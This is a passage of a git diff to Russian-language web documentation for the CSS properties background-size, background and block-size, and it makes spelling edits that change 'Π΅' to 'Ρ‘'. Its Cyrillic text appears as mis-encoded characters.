+ <dd>Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ визуализируСтся с сохранСниСм Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ наибольшСм Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТится Π²Π½ΡƒΡ‚Ρ€ΠΈ области размСщСния Ρ„ΠΎΠ½Π° ΠΈΠ»ΠΈ ΠΏΠΎΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΅Ρ‘. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области располоТСния Ρ„ΠΎΠ½Π°.</dd>
<dt>Если <code>background-size</code> установлСн ΠΊΠ°ΠΊΒ <code>auto</code>Β ΠΈΠ»ΠΈΒ <code>auto auto</code>:</dt>
- <dd>Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΎΠ½ΠΎ отобраТаСтся с Ρ‚Π°ΠΊΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ. Если ΠΎΠ½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области располоТСния Ρ„ΠΎΠ½Π°. Если ΠΎΠ½ΠΎ Π½Π΅Β ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся Ρ‚Π°ΠΊ, Ссли Π±Ρ‹Π» Π±Ρ‹Π» Π±Ρ‹ ΡƒΠΊΠ°Π·Π°Π½Β <code>contain</code>. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ этим ΠΎΠ΄Π½ΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠ΅ΠΉ. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся с использованиСм Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области позиционирования Ρ„ΠΎΠ½Π°.</dd>
+ <dd>Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ±Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΎΠ½ΠΎ отобраТаСтся с Ρ‚Π°ΠΊΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ. Если ΠΎΠ½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области располоТСния Ρ„ΠΎΠ½Π°. Если ΠΎΠ½ΠΎ Π½Π΅Β ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², Π½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся Ρ‚Π°ΠΊ, Ссли Π±Ρ‹Π» Π±Ρ‹Π» Π±Ρ‹ ΡƒΠΊΠ°Π·Π°Π½Β <code>contain</code>. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ этим ΠΎΠ΄Π½ΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠ΅ΠΉ. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, ΠΎΠ½ΠΎ отобраТаСтся с использованиСм Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ области позиционирования Ρ„ΠΎΠ½Π°.</dd>
<dt>Если background-size содСрТит ΠΎΠ΄ΠΈΠ½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <code>auto</code> ΠΈ ΠΎΠ΄ΠΈΠ½ Π½Π΅-<code>auto</code>:</dt>
<dd>Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΡŽΡŽ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΡŽ, Ρ‚ΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΈ вычислитС Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΈΠ· ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ для этого Ρ€Π°Π·ΠΌΠ΅Ρ€Π°. Для Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π΅ ΠΈΠ·ΠΌΠ΅Ρ€Π΅Π½ΠΈΠ΅ изобраТСния, Ссли ΠΎΠ½ΠΎ Π΅ΡΡ‚ΡŒ. Если Ρ‚Π°ΠΊΠΎΠ³ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Π½Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ области располоТСния Ρ„ΠΎΠ½Π°.</dd>
</dl>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„ΠΎΠ½Π° для Π²Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, Π΅Ρ‰Π΅ Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π‘ΡƒΠ΄ΡŒΡ‚Π΅ остороТны, полагаясь Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, описанноС Π²Ρ‹ΡˆΠ΅, ΠΈ тСстируйтС Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π² частности, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ вСрсии Firefox 7 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ вСрсии ΠΈ Firefox 8 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ вСрсии), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„ΠΎΠ½Π° для Π²Π΅ΠΊΡ‚ΠΎΡ€Π½Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΈ, Π΅Ρ‰Ρ‘ Π½Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π‘ΡƒΠ΄ΡŒΡ‚Π΅ остороТны, полагаясь Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, описанноС Π²Ρ‹ΡˆΠ΅, ΠΈ тСстируйтС Π² Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… (Π² частности, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ вСрсии Firefox 7 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ вСрсии ΠΈ Firefox 8 ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½Π΅ΠΉ вСрсии), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈΠ΅ΠΌΠ»Π΅ΠΌΡ‹.</p>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
@@ -95,7 +95,7 @@ background-size: unset;
<h2 id="ЗамСчания">ЗамСчания</h2>
-<p>Если Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π² качСствС Ρ„ΠΎΠ½Π° ΠΈ ΡƒΠΊΠ°Π·Π°Π»ΠΈ <code>background-size</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ вмСстС с Π½ΠΈΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΡΠΎΡΡ‚Π°Π²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ, ΠΈΠ»ΠΈ задаСтся с использованиСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ (для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, <code>background-size: 50%</code>).Β Π Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ‚Π°ΠΊΠΈΡ… случаях измСнился Π² Firefox 8, ΠΈ Π² настоящСС врСмя ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ нСсовмСстим Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π² соотвСтствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спСцификациСй <code>background-size</code> </a>ΠΈ с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спСцификациСй Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ изобраТСния</a>.</p>
+<p>Если Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π² качСствС Ρ„ΠΎΠ½Π° ΠΈ ΡƒΠΊΠ°Π·Π°Π»ΠΈ <code>background-size</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ вмСстС с Π½ΠΈΠΌ, Π»ΡƒΡ‡ΡˆΠ΅ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΅Π΄ΠΈΠ½ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΡΠΎΡΡ‚Π°Π²Π½ΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ, ΠΈΠ»ΠΈ задаётся с использованиСм Ρ‚ΠΎΠ»ΡŒΠΊΠΎ значСния ΡˆΠΈΡ€ΠΈΠ½Ρ‹ (для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, <code>background-size: 50%</code>).Β Π Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ΠΎΠ² Π² Ρ‚Π°ΠΊΠΈΡ… случаях измСнился Π² Firefox 8, ΠΈ Π² настоящСС врСмя ΠΎΠ½ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ нСсовмСстим Π²ΠΎ всСх Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ Π² соотвСтствии с <a href="http://www.w3.org/TR/css3-background/#the-background-size" title="http://www.w3.org/TR/css3-background/#the-background-size">CSS3 спСцификациСй <code>background-size</code> </a>ΠΈ с <a href="http://dev.w3.org/csswg/css3-images/#gradients" title="http://dev.w3.org/csswg/css3-images/#gradients">CSS3 спСцификациСй Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ изобраТСния</a>.</p>
<pre class="brush: css">.bar {
width: 50px; height: 100px;
diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html
index 7b39d9589c..fafdb12cc3 100644
--- a/files/ru/web/css/background/index.html
+++ b/files/ru/web/css/background/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/background
---
<div>{{CSSRef("CSS Background")}}</div>
-<div>Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅Β <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong>Β  устанавливаСт сразу всС свойства стиля Ρ„ΠΎΠ½Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ†Π²Π΅Ρ‚, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, источник ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π°.</div>
+<div>Π‘ΠΎΠΊΡ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅Β <a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>background</code></strong>Β  устанавливаСт сразу всС свойства стиля Ρ„ΠΎΠ½Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Ρ†Π²Π΅Ρ‚, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, источник ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π°.</div>
<div></div>
@@ -15,7 +15,7 @@ translation_of: Web/CSS/background
<p>Бвойство являСтся <a href="/en-US/docs/Web/CSS/Shorthand_properties">сокращСниСм,</a> ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Π΅Ρ‚Β ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ свойства Π² ΠΎΠ΄Π½ΠΎΠΌ объявлСнии: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, ΠΈ {{cssxref("background-attachment")}}.</p>
-<p>Как ΠΈ Π²ΠΎ всСх сокращСнных свойствах, Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ значСния Π±ΡƒΠ΄ΡƒΡ‚ установлСны Π² свои <a href="/en-US/docs/Web/CSS/initial_value">ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния</a>.</p>
+<p>Как ΠΈ Π²ΠΎ всСх сокращённых свойствах, Π»ΡŽΠ±Ρ‹Π΅ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Π΅ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ значСния Π±ΡƒΠ΄ΡƒΡ‚ установлСны Π² свои <a href="/en-US/docs/Web/CSS/initial_value">ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ значСния</a>.</p>
@@ -54,7 +54,7 @@ background: no-repeat center/80% url("../img/image.png");
<dt><code>&lt;repeat-style&gt;</code></dt>
<dd>Π‘ΠΌΠΎΡ‚Ρ€ΠΈ {{cssxref("background-repeat")}}</dd>
<dt><code>&lt;bg-size&gt;</code></dt>
- <dd>Π‘ΠΌΠΎΡ‚Ρ€ΠΈ {{cssxref("background-size")}}. Π­Ρ‚ΠΎ свойство Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½ΠΎ послС <strong>&lt;position&gt;</strong>, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ символом '/'.</dd>
+ <dd>Π‘ΠΌΠΎΡ‚Ρ€ΠΈ {{cssxref("background-size")}}. Π­Ρ‚ΠΎ свойство Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½ΠΎ послС <strong>&lt;position&gt;</strong>, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ символом '/'.</dd>
</dl>
<h3 id="Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_синтаксис">Π€ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html
index 413705bb6d..c7d9f6ada4 100644
--- a/files/ru/web/css/block-size/index.html
+++ b/files/ru/web/css/block-size/index.html
@@ -13,7 +13,7 @@ translation_of: Web/CSS/block-size
---
<div>{{CSSRef}}{{SeeCompatTable}}</div>
-<p>Бвойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> Π·Π°Π΄Π°Π΅Ρ‚ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π»ΠΎΠΊΠ° элСмСнта, Π² зависимости ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° Π΅Π³ΠΎ записи (writing mode). Оно соотвСтствуСт свойствам {{cssxref("width")}} ΠΈ {{cssxref("height")}} ΠΈ зависит ΠΎΡ‚ значСния свойства {{cssxref("writing-mode")}}.</p>
+<p>Бвойство <strong><code>block-size</code></strong> <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> Π·Π°Π΄Π°Ρ‘Ρ‚ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±Π»ΠΎΠΊΠ° элСмСнта, Π² зависимости ΠΎΡ‚ Ρ€Π΅ΠΆΠΈΠΌΠ° Π΅Π³ΠΎ записи (writing mode). Оно соотвСтствуСт свойствам {{cssxref("width")}} ΠΈ {{cssxref("height")}} ΠΈ зависит ΠΎΡ‚ значСния свойства {{cssxref("writing-mode")}}.</p>
<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
block-size: 300px;
@@ -37,7 +37,7 @@ block-size: initial;
block-size: unset;
</pre>
